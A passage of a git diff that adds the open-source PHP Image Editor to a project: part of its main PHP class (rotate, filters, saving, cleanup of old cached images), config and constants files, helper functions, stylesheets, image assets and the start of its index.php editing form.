+
+                       return NULL;
+               }
+
+               function ActionRotate($Degrees)
+               {
+                       $this->resourceWorkWith = imagerotate($this->resourceWorkWith, $Degrees, 0);
+               }
+
+               function ActionGrayscale()
+               {
+                       imagefilter($this->resourceWorkWith, IMG_FILTER_GRAYSCALE);
+               }
+
+               function ActionContrast($contrast)
+               {
+                       //-100 = max contrast, 0 = no change, +100 = min contrast
+                       imagefilter($this->resourceWorkWith, IMG_FILTER_CONTRAST, $contrast);
+               }
+
+               function ActionBrightness($light)
+               {
+                       //-255 = min brightness, 0 = no change, +255 = max brightness
+                       imagefilter($this->resourceWorkWith, IMG_FILTER_BRIGHTNESS, $light);
+               }
+
+               function GetErrorMessages()
+               {
+                       if (count($this->errorMessages))
+                       {
+                               PIE_Echo('<div class="error">');
+                               PIE_Echo('<ul>');
+
+                               foreach ($this->errorMessages as $errorMessage)
+                                       PIE_Echo ('<li>'.$errorMessage.'</li>');
+
+                               PIE_Echo("</ul>");
+                               PIE_Echo('</div>');
+                       }
+               }
+
+               function GetActions()
+               {
+                       PIE_Echo($this->actions);
+               }
+
+               function GetActionSeparator()
+               {
+                       if ($this->actions != "")
+                               return $this->actionSeparatorSign;
+
+                       return "";
+               }
+
+               function SaveImage($image, $toSrc, $mimeType = -1)
+               {
+                       if ($mimeType == -1)
+                               $mimeType = $this->mimeType;
+
+                       if ($mimeType == image_type_to_mime_type(IMAGETYPE_JPEG))
+                       {
+                               imagejpeg($image, $toSrc);
+                       }
+                       else if ($mimeType == image_type_to_mime_type(IMAGETYPE_GIF))
+                       {
+                               imagegif($image, $toSrc);
+                       }
+                       else if ($mimeType == image_type_to_mime_type(IMAGETYPE_PNG))
+                       {
+                               imagepng($image, $toSrc);
+                       }
+               }
+
+               function CleanUp()
+               {
+                       if ($this->resourceWorkWith)
+                               imagedestroy($this->resourceWorkWith);
+               }
+
+               function RotateArray($numberOfSteps, $arr)
+               {
+                       $finalArray = array();
+
+                       //-3 to 3
+                       $finalArray[] = $arr[$this->NumberOfStepsCalculator($numberOfSteps + 0)];
+                       $finalArray[] = $arr[$this->NumberOfStepsCalculator($numberOfSteps + 1)];
+                       $finalArray[] = $arr[$this->NumberOfStepsCalculator($numberOfSteps + 2)];
+                       $finalArray[] = $arr[$this->NumberOfStepsCalculator($numberOfSteps + 3)];
+
+                       return $finalArray;
+               }
+
+               function NumberOfStepsCalculator($sum)
+               {
+                       $maxIndex = 3;
+                       if ($sum > $maxIndex)
+                               return ($sum-$maxIndex)-1;
+                       else if ($sum < 0)
+                       {
+                               return ($sum+$maxIndex)+1;
+                       }
+
+                       return $sum;
+               }
+
+               function AddUserIdToImageSrc($imageSrc)
+               {
+                       return str_replace(".", $this->userId.".", $imageSrc);
+               }
+
+               function IsPHP5OrHigher()
+               {
+                       return version_compare(phpversion(), "5", ">=");
+               }
+
+               function GetFormAction()
+               {
+                       return "index.php?"
+                . $this->httpImageKey . "=" . $this->srcEdit
+                . '&image_name=' . $this->inputImageName;
+               }
+
+               function GetWidthKeepProportions()
+               {
+                       return $this->widthKeepProportions;
+               }
+
+               function GetHeightKeepProportions()
+               {
+                       return $this->heightKeepProportions;
+               }
+
+               function DeleteOldImages($srcdir)
+               {
+                       if($curdir = opendir($srcdir))
+                       {
+                               while($file = readdir($curdir))
+                               {
+                                       if($file != '.' && $file != '..')
+                                       {
+                                               //$srcfile = $srcdir . '\\' . $file;
+                                               //$srcfile = $srcdir.'/'.$file;
+                                               $srcfile = $srcdir.$file;
+                                               $srcfileLower = strtolower($srcfile);
+
+                                               if (stripos($srcfile, ".svn") === false)
+                                               {
+                                                       if(is_file($srcfile))
+                                                       {
+                                                               $doDelete = true;
+
+                                                               if (substr_count($srcfile, "sample.jpg") > 0 || substr_count($srcfile, "sample.png") > 0  || (substr_count($srcfileLower, ".jpg") == 0 && substr_count($srcfileLower, ".gif") == 0 && substr_count($srcfileLower, ".png") == 0))
+                                                                       $doDelete = false;
+
+                                                               if ($doDelete)
+                                                               {
+
+                                                                       $deleteTime = mktime(0, 0, 0, date("m"), date("d")-2, date("Y"));
+                                                                       if (fileatime($srcfile) < $deleteTime)
+                                                                       {
+                                                                               //Image is old and will be deleted. Or else the server space will be filled up with not needed images.
+                                                                               //echo "<h2>DELETE $srcfile".date("F d Y H:i:s.", fileatime($srcfile))."</h2>";
+                                                                               unlink($srcfile);
+                                                                       }
+                                                               }
+                                                       }
+                                               }
+                                       }
+                               }
+                               closedir($curdir);
+                       }
+               }
+
+               function GrantAllAccess($fileName)
+               {
+                       chmod($fileName, 0777);
+               }
+       }
+?>
diff --git a/Toolkit/PHPImageEditor/config.php b/Toolkit/PHPImageEditor/config.php
new file mode 100644 (file)
index 0000000..2714cb2
--- /dev/null
@@ -0,0 +1,33 @@
+<?php
+
+
+    /*
+    Copyright 2008, 2009, 2010 Patrik Hultgren
+
+    YOUR PROJECT MUST ALSO BE OPEN SOURCE IN ORDER TO USE PHP IMAGE EDITOR.
+    OR ELSE YOU NEED TO BUY THE COMMERCIAL VERSION AT:
+    http://www.shareit.com/product.html?productid=300296445&backlink=http%3A%2F%2Fwww.phpimageeditor.se%2F
+
+    This file is part of PHP Image Editor.
+
+    PHP Image Editor is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    PHP Image Editor is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with PHP Image Editor.  If not, see <http://www.gnu.org/licenses/>.
+    */
+
+
+    define("IMAGE_MAX_WIDTH", 700);
+       define("IMAGE_MAX_HEIGHT", 500);
+       define("DEFUALT_LANGUAGE", "en-GB");
+       define("RELOAD_PARENT_BROWSER_ON_SAVE", true);
+       define("AJAX_POST_TIMEOUT_MS", 20000);
+?>
diff --git a/Toolkit/PHPImageEditor/css/jquery.jcrop.css b/Toolkit/PHPImageEditor/css/jquery.jcrop.css
new file mode 100644 (file)
index 0000000..da9bffb
--- /dev/null
@@ -0,0 +1,45 @@
+/* Fixes issue here http://code.google.com/p/jcrop/issues/detail?id=1 */
+.jcrop-holder
+{
+       text-align: left;
+}
+
+.jcrop-vline, .jcrop-hline
+{
+       font-size: 0;
+       position: absolute;
+       background: white url('../images/jcrop.gif') top left repeat;
+       /*
+       opacity: .5;
+       *filter:alpha(opacity=50);
+       */
+}
+.jcrop-vline { height: 100%; width: 1px !important; }
+.jcrop-hline { width: 100%; height: 1px !important; }
+.jcrop-handle {
+       font-size: 1px;
+       width: 7px !important;
+       height: 7px !important;
+       border: 1px #eee solid;
+       background-color: #333;
+       *width: 9px;
+       *height: 9px;
+}
+
+.jcrop-tracker {
+       *background-color: gray;
+       width: 100%; height: 100%;
+}
+
+.custom .jcrop-vline,
+.custom .jcrop-hline
+{
+       background: yellow;
+}
+.custom .jcrop-handle
+{
+       border-color: black;
+       background-color: #C7BB00;
+       -moz-border-radius: 3px;
+       -webkit-border-radius: 3px;
+}
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/css/style.css b/Toolkit/PHPImageEditor/css/style.css
new file mode 100644 (file)
index 0000000..94976f4
--- /dev/null
@@ -0,0 +1,228 @@
+body
+{
+       margin: 0;
+       padding: 0;
+       font-family: Arial;
+       font-size: 80%;
+}
+
+form
+{
+       margin: 0;
+       padding: 0;
+       background-color: #ffffff;
+}
+
+label
+{
+       display: block;
+}
+
+label.checkbox
+{
+       display: inline;
+}
+
+div.field
+{
+       clear: both;
+       padding: 17px;
+}
+
+div.col-1,
+div.col-2
+{
+       float: left;
+}
+
+div.col-1
+{
+       margin-right: 10px;
+}
+
+input.checkbox
+{
+}
+
+input.input-number
+{
+       width: 70px;
+       margin-bottom: 10px;
+       border: 1px solid #cbcbcb;
+       background-color: #ffffff;
+}
+
+.main-actions
+{
+       background-color: #eaeaea;
+       border-top: 1px solid white;
+       border-bottom: 1px solid #d6d6d6;
+       padding: 0 10px 0 10px;
+       padding: 12px 10px 12px 10px;
+}
+
+#editimage
+{
+       margin: 0 10px 10px 10px;
+       position: relative;
+       top: 0px;
+       left: 0px;
+}
+
+div.error,
+div.info
+{
+       background-color: #ffc1c1;
+       padding: 5px;
+       margin: 0 10px 10px 10px;
+}
+
+div.error ul,
+div.info ul
+{
+       list-style-type: square;
+}
+
+div.error li,
+div.info li
+{
+       font-weight: bold;
+       margin-bottom: 5px;
+}
+
+div.croparea
+{
+       background-color: #ffffff;
+       filter:alpha(opacity=80);
+       -moz-opacity:.80;
+       opacity:.80;
+       overflow: hidden;               
+}
+
+div#actionContainer
+{
+       background-color: #e1f3ff;
+       background-image: url('../images/tab_body.png');
+       background-repeat: repeat-x;
+}
+
+div#menu
+{
+       height: 30px;
+       overflow: hidden;
+       font-weight: bold;
+}
+
+.selected
+{
+       float: left;
+       color: #000000;
+       border-right: 1px solid #ffffff;
+       line-height: 30px;
+       padding: 0 20px 0 20px;
+       cursor: pointer;
+       height: 30px;
+       background-image: url('../images/tab_selected.png');
+       background-repeat: repeat-x;
+}
+
+.not-selected
+{
+       float: left;
+       color: #ffffff;
+       border-right: 1px solid #ffffff;
+       border-bottom: 1px solid #ffffff;
+       line-height: 30px;
+       padding: 0 20px 0 20px;
+       cursor: pointer;
+       height: 29px;
+       background-image: url('../images/tab_not_selected.png');
+       background-repeat: repeat-x;
+}
+
+.panel
+{
+       filter:alpha(opacity=0);
+       -moz-opacity:0;
+       opacity:0;
+       display: none;                                                 
+}
+
+.tabs
+{
+       margin: 10px;
+}
+
+.widthAndHeight
+{
+       height: 23px; 
+       overflow: hidden;
+}
+
+#image
+{
+       position: absolute;
+       top: 0;
+       left: 0;
+}
+
+#loading
+{
+       border-top: 1px solid white;
+       background-color: #c7e7fc;
+       padding: 15px;
+       font-weight: bold;
+}
+
+#loading_bar
+{
+       margin-top: 3px;
+       background-color: #3d7ab0;
+       height: 3px;
+}
+
+#imageResizerKeepProportions,
+#imageResizerNoProportions
+{
+       background-color: #d6d6d6;
+       position: absolute; 
+       left: 0px; 
+       top: 0px;
+       filter:alpha(opacity=0);
+       -moz-opacity:.0;
+       opacity:.0;     
+}
+
+.help
+{
+       background-color: #fffcd1;
+       line-height: 1.5em;
+       padding: 10px;
+       border: 1px solid #d8d8d8;
+}
+
+.help-header
+{
+       font-weight: bold;
+       text-transform: uppercase;
+}
+
+.help-content
+{
+}
+
+#crophelp
+{
+}
+
+.crop-settings
+{
+       background-color: #cde3f2;
+}
+
+.crop-top
+{
+       border-bottom: 1px solid #a8c6da;
+       padding-bottom: 8px;
+       margin-bottom: 8px;
+}
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/css/ui.resizable.css b/Toolkit/PHPImageEditor/css/ui.resizable.css
new file mode 100644 (file)
index 0000000..44efeb2
--- /dev/null
@@ -0,0 +1,13 @@
+/* Resizable
+----------------------------------*/
+.ui-resizable { position: relative;}
+.ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block;}
+.ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; }
+.ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0px; }
+.ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0px; }
+.ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0px; height: 100%; }
+.ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0px; height: 100%; }
+.ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; }
+.ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; }
+.ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; }
+.ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/css/ui.slider.css b/Toolkit/PHPImageEditor/css/ui.slider.css
new file mode 100644 (file)
index 0000000..5d47af0
--- /dev/null
@@ -0,0 +1,19 @@
+/* Slider
+----------------------------------*/
+.ui-slider { position: relative; text-align: left; top: 15px; }
+.ui-slider .ui-slider-handle { background: url(../images/slider_pointer.gif) 0 0 no-repeat; position: absolute; z-index: 2; width: 11px; height: 17px; cursor: default; background-color: none; border: 0; }
+.ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: 1%; display: block; border: 0; }
+
+       
+
+.ui-slider-horizontal { background: url(../images/slider_track.gif) 0 0 repeat-x; height: 7px; background-color: none; border: 0; width: 401px;}
+.ui-slider-horizontal .ui-slider-handle { top: -.6em; margin-left: -5px; }
+.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; }
+.ui-slider-horizontal .ui-slider-range-min { left: 0; }
+.ui-slider-horizontal .ui-slider-range-max { right: 0; }
+
+.ui-slider-vertical { width: .8em; height: 100px; }
+.ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; }
+.ui-slider-vertical .ui-slider-range { left: 0; width: 100%; }
+.ui-slider-vertical .ui-slider-range-min { bottom: 0; }
+.ui-slider-vertical .ui-slider-range-max { top: 0; }
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/images/crop_view.png b/Toolkit/PHPImageEditor/images/crop_view.png
new file mode 100644 (file)
index 0000000..3589e8b
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/crop_view.png differ
diff --git a/Toolkit/PHPImageEditor/images/edit.gif b/Toolkit/PHPImageEditor/images/edit.gif
new file mode 100644 (file)
index 0000000..1a5a0af
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/edit.gif differ
diff --git a/Toolkit/PHPImageEditor/images/empty.gif b/Toolkit/PHPImageEditor/images/empty.gif
new file mode 100644 (file)
index 0000000..35d42e8
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/empty.gif differ
diff --git a/Toolkit/PHPImageEditor/images/jcrop.gif b/Toolkit/PHPImageEditor/images/jcrop.gif
new file mode 100644 (file)
index 0000000..72ea7cc
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/jcrop.gif differ
diff --git a/Toolkit/PHPImageEditor/images/slider_pointer.gif b/Toolkit/PHPImageEditor/images/slider_pointer.gif
new file mode 100644 (file)
index 0000000..8e8fdcd
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/slider_pointer.gif differ
diff --git a/Toolkit/PHPImageEditor/images/slider_track.gif b/Toolkit/PHPImageEditor/images/slider_track.gif
new file mode 100644 (file)
index 0000000..e1dc8e0
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/slider_track.gif differ
diff --git a/Toolkit/PHPImageEditor/images/tab_body.png b/Toolkit/PHPImageEditor/images/tab_body.png
new file mode 100644 (file)
index 0000000..6e164fe
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/tab_body.png differ
diff --git a/Toolkit/PHPImageEditor/images/tab_not_selected.png b/Toolkit/PHPImageEditor/images/tab_not_selected.png
new file mode 100644 (file)
index 0000000..3051203
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/tab_not_selected.png differ
diff --git a/Toolkit/PHPImageEditor/images/tab_selected.png b/Toolkit/PHPImageEditor/images/tab_selected.png
new file mode 100644 (file)
index 0000000..d4fd93c
Binary files /dev/null and b/Toolkit/PHPImageEditor/images/tab_selected.png differ
diff --git a/Toolkit/PHPImageEditor/includes/constants.php b/Toolkit/PHPImageEditor/includes/constants.php
new file mode 100644 (file)
index 0000000..638a6b4
--- /dev/null
@@ -0,0 +1,37 @@
+<?php
+    
+       
+    /*
+    Copyright 2008, 2009, 2010 Patrik Hultgren
+    
+    YOUR PROJECT MUST ALSO BE OPEN SOURCE IN ORDER TO USE PHP IMAGE EDITOR.
+    OR ELSE YOU NEED TO BUY THE COMMERCIAL VERSION AT:
+    http://www.shareit.com/product.html?productid=300296445&backlink=http%3A%2F%2Fwww.phpimageeditor.se%2F
+    
+    This file is part of PHP Image Editor.
+
+    PHP Image Editor is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    PHP Image Editor is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with PHP Image Editor.  If not, see <http://www.gnu.org/licenses/>.
+    */
+
+
+    define("PHP_VERSION_MINIMUM", "5");
+       define("GD_VERSION_MINIMUM", "2.0.28");
+       define("IMAGE_ORIGINAL_PATH", "editimagesoriginal/");
+       define("IMAGE_WORK_WITH_PATH", "editimagesworkwith/");
+       define("IMAGE_PNG_PATH", "editimagespng/");
+       define("MENU_RESIZE", "0");
+       define("MENU_ROTATE", "1");
+       define("MENU_CROP", "2");
+       define("MENU_EFFECTS", "3");
+?>
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/includes/functions.php b/Toolkit/PHPImageEditor/includes/functions.php
new file mode 100644 (file)
index 0000000..5fa5bbb
--- /dev/null
@@ -0,0 +1,50 @@
+<?php
+    
+       
+    /*
+    Copyright 2008, 2009, 2010 Patrik Hultgren
+    
+    YOUR PROJECT MUST ALSO BE OPEN SOURCE IN ORDER TO USE PHP IMAGE EDITOR.
+    OR ELSE YOU NEED TO BUY THE COMMERCIAL VERSION AT:
+    http://www.shareit.com/product.html?productid=300296445&backlink=http%3A%2F%2Fwww.phpimageeditor.se%2F
+    
+    This file is part of PHP Image Editor.
+
+    PHP Image Editor is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    PHP Image Editor is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with PHP Image Editor.  If not, see <http://www.gnu.org/licenses/>.
+    */
+
+
+    function PIE_GetTexts($filePath)
+       {
+               $texts = array();
+               $lines = file($filePath);
+               
+               foreach($lines as $line_num => $line)
+               {
+                       if (substr_count($line, "#") == 0)
+                       {
+                               $keyAndText = explode("=", trim($line));
+                               $texts[$keyAndText[0]] = $keyAndText[1];
+                       }
+               }
+               
+               return $texts;
+       }
+       
+       function PIE_Echo($text)
+       {
+               echo $text;
+               //echo utf8_encode($text);
+       }       
+?>
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/index.php b/Toolkit/PHPImageEditor/index.php
new file mode 100644 (file)
index 0000000..99b3f7f
--- /dev/null
@@ -0,0 +1,250 @@
+<?php  
+    
+       
+    /*
+    Copyright 2008, 2009, 2010 Patrik Hultgren
+    
+    YOUR PROJECT MUST ALSO BE OPEN SOURCE IN ORDER TO USE PHP IMAGE EDITOR.
+    OR ELSE YOU NEED TO BUY THE COMMERCIAL VERSION AT:
+    http://www.shareit.com/product.html?productid=300296445&backlink=http%3A%2F%2Fwww.phpimageeditor.se%2F
+    
+    This file is part of PHP Image Editor.
+
+    PHP Image Editor is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    PHP Image Editor is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with PHP Image Editor.  If not, see <http://www.gnu.org/licenses/>.
+    */
+
+    
+    
+       header("Cache-Control: no-store"); 
+       header('content-type: text/html; charset: utf-8');
+       include 'includes/constants.php';
+       include 'config.php';
+       include 'includes/functions.php';
+       include 'classes/phpimageeditor.php';
+       global $objPHPImageEditor;
+       $objPHPImageEditor = new PHPImageEditor();
+?>
+<?php if (!$objPHPImageEditor->isAjaxPost) { ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+       <head>
+               <title>PHP Image Editor</title>
+           <script type="text/javascript" src="javascript/jquery-1.3.2.min.js"></script>
+           <script type="text/javascript" src="javascript/jquery.jcrop.js"></script>
+        <script type="text/javascript" src="javascript/jquery.numeric.js"></script>
+           <script type="text/javascript" src="javascript/ui.core.js"></script>
+           <script type="text/javascript" src="javascript/ui.slider.js"></script>
+           <script type="text/javascript" src="javascript/ui.resizable.js"></script>
+           <script type="text/javascript" src="javascript/effects.core.js"></script>
+        <script type="text/javascript" src="javascript/phpimageeditor.js"></script>
+           
+           <link rel="stylesheet" type="text/css" href="css/style.css"/>
+           <link rel="stylesheet" type="text/css" href="css/ui.resizable.css"/>
+           <link rel="stylesheet" type="text/css" href="css/ui.slider.css"/>
+           <link rel="stylesheet" type="text/css" href="css/jquery.jcrop.css"/>
+           
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+               
+        <script type="text/javascript">
+               var ImageMaxWidth = <?php PIE_Echo(IMAGE_MAX_WIDTH); ?>;
+               var ImageMaxHeight = <?php PIE_Echo(IMAGE_MAX_HEIGHT); ?>;
+               var ImageWidth = <?php PIE_Echo($objPHPImageEditor->GetWidthFinal()); ?>;
+               var ImageHeight = <?php PIE_Echo($objPHPImageEditor->GetHeightFinal()); ?>;
+               var TextIsRequired = "<?php PIE_Echo($objPHPImageEditor->texts["IS REQUIRED"]); ?>";
+               var TextMustBeNumeric = "<?php PIE_Echo($objPHPImageEditor->texts["MUST BE NUMERIC"]); ?>";
+               var TextWidth = "<?php PIE_Echo($objPHPImageEditor->texts["WIDTH"]); ?>";
+               var TextHeight = "<?php PIE_Echo($objPHPImageEditor->texts["HEIGHT"]); ?>";
+               var TextNotNegative = "<?php PIE_Echo($objPHPImageEditor->texts["NOT NEGATIVE"]); ?>";
+               var TextNotInRange = "<?php PIE_Echo($objPHPImageEditor->texts["NOT IN RANGE"]); ?>";
+               var TextCantBeLargerThen = "<?php PIE_Echo($objPHPImageEditor->texts["CANT BE LARGER THEN"]); ?>";
+               var TextAnUnexpectedError = "<?php PIE_Echo($objPHPImageEditor->texts["AN UNEXPECTED ERROR"]); ?>";
+               var Brightness = <?php PIE_Echo($objPHPImageEditor->inputBrightness); ?>;
+               var Contrast = <?php PIE_Echo($objPHPImageEditor->inputContrast); ?>;
+               var BrightnessMax = <?php PIE_Echo($objPHPImageEditor->brightnessMax); ?>;
+               var ContrastMax = <?php PIE_Echo($objPHPImageEditor->contrastMax); ?>;
+            var FormAction = "<?php PIE_Echo($objPHPImageEditor->GetFormAction()); ?>";
+            var FormId = "<?php PIE_Echo($objPHPImageEditor->formName); ?>";
+            var ActionUpdate = "<?php PIE_Echo($objPHPImageEditor->actionUpdate); ?>";
+            var ActionUndo = "<?php PIE_Echo($objPHPImageEditor->actionUndo); ?>";
+            var ActionSaveAndClose = "<?php PIE_Echo($objPHPImageEditor->actionSaveAndClose); ?>";
+            var ActionRotateLeft = "<?php PIE_Echo($objPHPImageEditor->actionRotateLeft); ?>";
+            var ActionRotateRight = "<?php PIE_Echo($objPHPImageEditor->actionRotateRight); ?>";
+            var ActionSaveAndClose = "<?php PIE_Echo($objPHPImageEditor->actionSaveAndClose); ?>";
+            var MenuResize = "<?php PIE_Echo(MENU_RESIZE); ?>";
+            var MenuRotate = "<?php PIE_Echo(MENU_ROTATE); ?>";
+            var MenuCrop = "<?php PIE_Echo(MENU_CROP); ?>";
+            var MenuEffects = "<?php PIE_Echo(MENU_EFFECTS); ?>";
+            var AjaxPostTimeoutMs = <?php PIE_Echo(AJAX_POST_TIMEOUT_MS); ?>; 
+        </script>
+       </head>
+       <body>
+               <div id="phpImageEditor">
+<?php } ?>
+
+                       <form id="<?php PIE_Echo($objPHPImageEditor->formName); ?>" name="<?php PIE_Echo($objPHPImageEditor->formName); ?>" method="post" action="<?php PIE_Echo($objPHPImageEditor->GetFormAction()); ?>">
+                               <?php if (!$objPHPImageEditor->ErrorHasOccurred()) { ?>
+                                        
+                                       <div class="tabs">
+                                       
+                                               <div id="menu">
+                                                       <div class="<?php PIE_Echo($objPHPImageEditor->inputPanel == MENU_RESIZE ? 'selected' : 'not-selected'); ?>" id="menuitem_<?php PIE_Echo(MENU_RESIZE); ?>">
+                                                               <?php PIE_Echo($objPHPImageEditor->texts["RESIZE IMAGE"]); ?>
+                                                       </div>
+                                                       <!--
+                                                       <div class="<?php PIE_Echo($objPHPImageEditor->inputPanel == MENU_ROTATE ? 'selected' : 'not-selected'); ?>" id="menuitem_<?php PIE_Echo(MENU_ROTATE); ?>">
+                                                               <?php PIE_Echo($objPHPImageEditor->texts["ROTATE IMAGE"]); ?>
+                                                       </div>
+                                                       -->
+                                                       <div class="<?php PIE_Echo($objPHPImageEditor->inputPanel == MENU_CROP ? 'selected' : 'not-selected'); ?>" id="menuitem_<?php PIE_Echo(MENU_CROP); ?>">
+                                                               <?php PIE_Echo($objPHPImageEditor->texts["CROP IMAGE"]); ?>
+                                                       </div>
+                                                       <!--
+                                                       <?php if ($objPHPImageEditor->IsPHP5OrHigher()) { ?>
+                                                               <div class="<?php PIE_Echo($objPHPImageEditor->inputPanel == MENU_EFFECTS ? 'selected' : 'not-selected'); ?>" id="menuitem_<?php PIE_Echo(MENU_EFFECTS); ?>">
+                                                                       <?php PIE_Echo($objPHPImageEditor->texts["EFFECTS"]); ?>
+                                                               </div>
+                                                       <?php } ?>
+                                                       -->
+                                               </div>
+                                                       
+                                               <div id="actionContainer">
+                       
+                                                       <div id="panel_<?php PIE_Echo(MENU_RESIZE); ?>" class="panel">
+                                                               <table cellpadding="0" cellspacing="0" border="0">
+                                                                       <tr>
+                                                                               <td>
+                                                                                       <div class="field widthAndHeight">
+                                                                                               <div class="col-1">
+                                                                                                       <label for="width"><?php PIE_Echo($objPHPImageEditor->texts["WIDTH"]); ?></label>
+                                                                                                       <input class="input-number" type="text" name="width" id="width" value="<?php PIE_Echo($objPHPImageEditor->GetWidthFinal()); ?>"/>
+                                                                                                       <input type="hidden" name="widthoriginal" id="widthoriginal" value="<?php PIE_Echo($objPHPImageEditor->GetWidth()); ?>"/>
+                                                                                               </div>
+                                                                                               <div class="col-2">
+                                                                                                       <label for="height"><?php PIE_Echo($objPHPImageEditor->texts["HEIGHT"]); ?></label>
+                                                                                                       <input class="input-number" type="text" name="height" id="height" value="<?php PIE_Echo($objPHPImageEditor->GetHeightFinal()); ?>"/>
+                                                                                                       <input type="hidden" name="heightoriginal" id="heightoriginal" value="<?php PIE_Echo($objPHPImageEditor->GetHeight()); ?>"/>
+                                                                                               </div>
+                                                                                       </div>
+                                                                                       <div class="field">
+                                                                                               <input class="checkbox" type="checkbox" name="<?php PIE_Echo($objPHPImageEditor->fieldNameKeepProportions); ?>" id="<?php PIE_Echo($objPHPImageEditor->fieldNameKeepProportions); ?>" <?php PIE_Echo($objPHPImageEditor->inputKeepProportions ? 'checked="checked"' : ''); ?>/>
+                                                                                               <input type="hidden" name="keepproportionsval" id="keepproportionsval" value="<?php PIE_Echo($objPHPImageEditor->inputKeepProportions ? '1' : '0'); ?>"/>
+                                                                                               <label for="<?php PIE_Echo($objPHPImageEditor->fieldNameKeepProportions); ?>" class="checkbox"><?php PIE_Echo($objPHPImageEditor->texts["KEEP PROPORTIONS"]); ?></label>
+                                                                                       </div>
+                                                                               </td>
+                                                                               <td>
+                                                                                       <div class="help" id="resizehelp">
+                                                                                               <div class="help-header" id="resizehelpheader"><?php PIE_Echo($objPHPImageEditor->texts["INSTRUCTIONS"]); ?></div>
+                                                                                               <div class="help-content" id="resizehelpcontent"><?php PIE_Echo($objPHPImageEditor->texts["RESIZE HELP"]); ?></div>
+                                                                                       </div>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                       </div>
+               
+                                                       <div id="panel_<?php PIE_Echo(MENU_ROTATE); ?>" class="panel">
+                                                               <div class="field">
+                                                                       <input id="btnRotateLeft" type="button" value="<?php PIE_Echo($objPHPImageEditor->texts["LEFT 90 DEGREES"]); ?>"/>
+                                                                       <input id="btnRotateRight" type="button" value="<?php PIE_Echo($objPHPImageEditor->texts["RIGHT 90 DEGREES"]); ?>"/>
+                                                                       <input type="hidden" name="rotate" id="rotate" value="-1"/>
+                                                               </div>
+                                                       </div>
+               
+                                                       <div id="panel_<?php PIE_Echo(MENU_CROP); ?>" class="panel">
+                                                               <div class="field">
+                                                                       <input class="input-number" type="hidden" name="croptop" id="croptop" value="0"/>
+                                                                       <input class="input-number" type="hidden" name="cropleft" id="cropleft" value="0"/>
+                                                                       <input class="input-number" type="hidden" name="cropright" id="cropright" value="0"/>
+                                                                       <input class="input-number" type="hidden" name="cropbottom" id="cropbottom" value="0"/>
+                                                                       <div class="help" id="crophelp">
+                                                                               <div class="help-header" id="crophelpheader"><?php PIE_Echo($objPHPImageEditor->texts["INSTRUCTIONS"]); ?></div>
+                                                                               <div class="help-content" id="crophelpcontent"><?php PIE_Echo($objPHPImageEditor->texts["CROP HELP"]); ?></div>
+                                                                       </div>
+                                                               </div>
+                                                               <div class="field crop-settings">
+                                                                       <div class="crop-top">
+                                                                               <?php PIE_Echo($objPHPImageEditor->texts["CROP WIDTH"]); ?>: <span id="cropwidth">0</span>
+                                                                               <?php PIE_Echo($objPHPImageEditor->texts["CROP HEIGHT"]); ?>: <span id="cropheight">0</span>
+                                                                       </div>
